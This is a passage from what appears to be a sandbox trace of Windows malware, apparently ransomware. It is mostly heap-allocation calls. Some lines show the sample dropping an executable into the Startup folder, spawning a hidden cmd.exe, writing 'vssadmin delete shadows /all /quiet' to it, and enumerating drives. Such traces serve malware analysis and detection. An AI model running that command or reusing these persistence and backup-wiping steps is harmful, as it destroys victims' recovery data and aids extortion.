dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0233.304] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.305] CloseHandle (hObject=0xe4) returned 1 [0233.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.305] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565b98 [0233.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.305] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565be8 [0233.305] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.305] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.305] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.305] lstrlenW (lpString="kernel32.dll") returned 12 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.305] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x530000) returned 1 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56af08 | out: hHeap=0x530000) returned 1 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af10 | out: hHeap=0x530000) returned 1 [0233.305] lstrlenW (lpString="%windir%\\System32") returned 17 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566c60 | out: hHeap=0x530000) returned 1 [0233.305] lstrlenW (lpString="%appdata%") returned 9 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544660 | out: hHeap=0x530000) returned 1 [0233.305] lstrlenW (lpString="%sh(Startup)%") returned 13 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x530000) returned 1 [0233.305] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0233.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566ca8 | out: hHeap=0x530000) returned 1 [0233.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.305] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x544638 [0233.305] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544638, Size=0x40) returned 0x566ca8 [0233.305] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566ca8, Size=0x80) returned 0x5aaf40 [0233.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.305] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x544638 [0233.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fffc) returned 0x56af08 [0233.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x58af10 [0233.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x59af18 [0233.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.306] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x544660 [0233.306] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544660, Size=0x40) returned 0x566ca8 [0233.306] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566ca8, Size=0x80) returned 0x5aafc8 [0233.306] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aafc8, Size=0x100) returned 0x567e68 [0233.306] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.306] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567e68 | out: hHeap=0x530000) returned 1 [0233.306] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x58af10, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0233.306] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59af18 | out: hHeap=0x530000) returned 1 [0233.306] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58af10 | out: hHeap=0x530000) returned 1 [0233.313] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0233.365] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0233.365] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0233.365] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0233.365] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x5a4, dwThreadId=0x5a8)) returned 1 [0233.991] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0233.991] WriteFile (in: hFile=0xec, lpBuffer=0x5aaf40*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x5aaf40*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0233.991] CloseHandle (hObject=0xfc) returned 1 [0233.991] CloseHandle (hObject=0xf8) returned 1 [0233.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56af08 | out: hHeap=0x530000) returned 1 [0233.991] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0233.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aaf40 | out: hHeap=0x530000) returned 1 [0233.991] lstrlenW (lpString="%comspec%") returned 9 [0233.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x530000) returned 1 [0233.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0234.087] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564d58 [0234.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x564d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0234.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x567d88 [0234.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x567d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0234.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d70 [0234.088] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d70, Size=0x20) returned 0x544638 [0234.088] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544638, Size=0x40) returned 0x566ca8 [0234.088] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0234.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd0) returned 0x567ee0 [0234.089] GetLogicalDrives () returned 0x4 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10014) returned 0x56af08 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d70 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d70, Size=0x20) returned 0x544638 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544638, Size=0x40) returned 0x566d38 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566d38, Size=0x80) returned 0x5aaf40 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x569458 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569458, Size=0x200) returned 0x569458 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569458, Size=0x400) returned 0x569458 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569458, Size=0x800) returned 0x5acf28 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5acf28, Size=0x1000) returned 0x5acf28 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x57af28 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d70 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564e48 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x5655b0 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564e60 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x5655c0 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564e78 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5655c0, Size=0x8) returned 0x5655c0 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564e90 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5655c0, Size=0x10) returned 0x5655c0 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564ea8 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564ec0 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5655c0, Size=0x20) returned 0x5655c0 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564ed8 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569470 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x564ef0 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x564f08 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5655c0, Size=0x40) returned 0x544a38 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x564f20 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x564f38 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x564f50 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x564f68 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564f80 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564f98 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569480 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564fb0 [0234.089] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544a38, Size=0x80) returned 0x569a70 [0234.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564fc8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564fe0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564ff8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x565010 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5adf48 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5adf60 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5adf78 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569490 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5adf90 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5adfa8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5adfc0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5adfd8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5adff0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae008 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae020 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae038 [0234.090] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569a70, Size=0x100) returned 0x569a70 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae050 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae068 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae080 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5ae098 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae0b0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae0c8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x5694a0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae0e0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae0f8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae110 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x5694b0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae128 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae140 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x5694c0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae158 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae170 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae188 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae1a0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae1b8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae1d0 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x5ae1e8 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae200 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5ae218 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae230 [0234.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae248 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae260 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae278 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x5694d0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae290 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae2a8 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae2c0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae2d8 [0234.091] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569a70, Size=0x200) returned 0x569a70 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae2f0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x5694e0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae308 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae348 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae360 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae378 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae390 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae3a8 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae3c0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae3d8 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae3f0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae408 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae420 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae438 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae450 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae468 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae480 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae498 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae4b0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae4c8 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae4e0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae4f8 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae510 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x5694f0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae528 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae540 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae558 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569500 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae570 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae588 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae5a0 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae5b8 [0234.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae5d0 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae5e8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae600 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae618 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae630 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae648 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae660 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae678 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae690 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae6a8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae6c0 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae6d8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae6f0 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae708 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae748 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae760 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae778 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569510 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x569520 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae790 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae7a8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae7c0 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae7d8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae7f0 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae808 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae820 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae838 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae850 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae868 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae880 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae898 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae8b0 [0234.092] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569a70, Size=0x400) returned 0x569a70 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae8c8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae8e0 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae8f8 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae910 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae928 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae940 [0234.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae958 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae970 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae988 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae9a0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569530 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae9b8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5ae9d0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5ae9e8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aea00 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aea18 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aea30 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x5aea48 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aea60 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aea78 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aea90 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeaa8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeac0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aead8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeaf0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeb08 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569540 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeb48 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeb60 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeb78 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeb90 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeba8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aebc0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aebd8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aebf0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aec08 [0234.093] 